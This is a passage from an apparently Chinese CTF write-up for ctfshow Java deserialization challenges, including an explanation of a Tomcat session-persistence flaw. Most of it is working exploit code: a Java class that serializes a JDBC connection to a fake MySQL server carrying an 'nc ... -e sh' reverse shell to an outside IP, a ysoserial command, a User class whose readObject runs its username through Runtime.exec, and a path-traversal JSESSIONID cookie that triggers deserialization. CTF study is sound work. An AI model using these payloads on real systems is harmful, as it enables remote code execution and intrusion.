35
36
37
38
39
40
package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
Connection connection = new Connection();
Class<? extends Connection> aClass = connection.getClass();
Field host = aClass.getDeclaredField("host");
host.setAccessible(true);
host.set(connection,"101.34.80.152 ");
Field port = aClass.getDeclaredField("port");
port.setAccessible(true);
port.set(connection,3306);
Field user = aClass.getDeclaredField("user");
user.setAccessible(true);
user.set(connection,new User("yso_CommonsCollections4_nc 101.34.80.152 9999 -e sh","123456"));
Field schema = aClass.getDeclaredField("schema");
schema.setAccessible(true);
schema.set(connection,"jdbc:mysql");
Field database = aClass.getDeclaredField("database");
database.setAccessible(true);
database.set(connection,"detectCustomCollations=true&autoDeserialize=true");
serialize(connection);
}
public static void serialize(Object obj) throws IOException, IOException {
ByteArrayOutputStream data =new ByteArrayOutputStream();
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
};

}

利用https://github.com/fnmsd/MySQL_Fake_Server

配置如下image-20240508210156271

运行server.py

监听响应端口

web858

tomcat session漏洞反序列化详解

  1. 条件

1)攻击者可以控制服务器上的文件名/文件内容
2)tomcat context配置了persistencemanager的fileSotre

3)persistenceManager 配置了sessionAttributeValueClassNameFilter的值为NULL或者宽松过滤

4) 攻击者知道fileSotre存放位置
条件非常苛刻, 需要同时满足该4个条件。

  1. 漏洞原理

利用tomcat创建的session,反序列后进行恶性攻击。 一般而言,session存在于服务器内存中,当服务器重启或者重新加载时,内存中的session就会全部丢失。为了避免这种情况,在某一些场合下,服务器的session可以存放在文件系统中或者数据库中,该过程称之为session持久化,session持久化是将session以序列化的形式存放的,因此存放session需要实现java的序列号接口(java.io.serialize).
具体创建过程如下:
发起session请求》tomcat servelet容器创建httpsession对象》容器将httpsession对象从内存中移到文件系统中或者数据库中》再次需要访问请求时直接从文件系统或者数据库中加载session至内存。
session保存到文件系统具体配置,context.xml

即,通过persistenceManger持久化,将文件存放在文件系统,位置为…/session

反序列过程:tomcat的FileSore 加文件直接反序列化获取session

用ysoserial生成一个反序列化文件

java -jar ysoserial.jar CommonsCollections2 “calc” > /tmp/22222.session

通过JSESSION加载恶意的session持久化文件

GET /bug/api HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=evilFIle

  1. 影响版本

Apache Tomcat 10.x < 10.0.0-M5
Apache Tomcat 9.x < 9.0.35
Apache Tomcat 8.x < 8.5.55
Apache Tomcat 7.x < 7.0.104

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.ctfshow.entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable {
private static final long serialVersionUID = -3254536114659397781L;
private String username;
private String password;

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.username);
}


}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.ctfshow.entity;

import java.io.*;

public class exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
User user = new User();
user.setUsername("cp /flag /usr/local/tomcat/webapps/ROOT/flag.txt");
serialize(user);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("a.session"));
oos.writeObject(obj);
}
}

记得将User.java和exp放在一个软件包下,设置cookie,触发反序列化

1
Cookie: JSESSIONID=../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/a